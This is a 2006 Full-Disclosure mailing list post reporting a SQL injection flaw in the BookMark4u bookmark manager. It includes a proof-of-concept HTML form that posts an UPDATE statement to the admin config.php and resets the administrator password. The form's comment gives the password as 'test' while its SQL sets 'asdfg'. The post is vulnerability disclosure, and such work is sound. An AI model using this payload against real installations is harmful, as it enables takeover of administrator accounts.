|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
[Full-disclosure] Sql Injection in BookMark4u
From: M.o.H.a.J.a.L.i (mohajali2k4
gmail.com)
Date: Thu Apr 20 2006 - 11:46:43 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
site:
http://bookmark4u.sourceforge.net/
Hello i found a vulnerability in bookmark4u that u can use to make sql
injections...
the following PoC changes the admin password:
[code]
<form action='http://bookmark4u.sourceforge.net/v2.0.0/admin/config.php'
method='post'>
<tr><td align='center'>
<input type='hidden' name='sqlcmd' value="# add a administrator
(initial password
is 'test') %NL%UPDATE bk4u_passwd SET passwd=PASSWORD('asdfg') WHERE
user='admin';">
<input type='hidden' name='mode' value='sqlexec'>
<input type='submit' value="Execute Above (administrator's account)">
</td></tr>
</form></table>
<br><a href='javascript:document.location.reload();'>And Reload this
page</a>.</body></html>
[/code]
MoHaJaLi
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]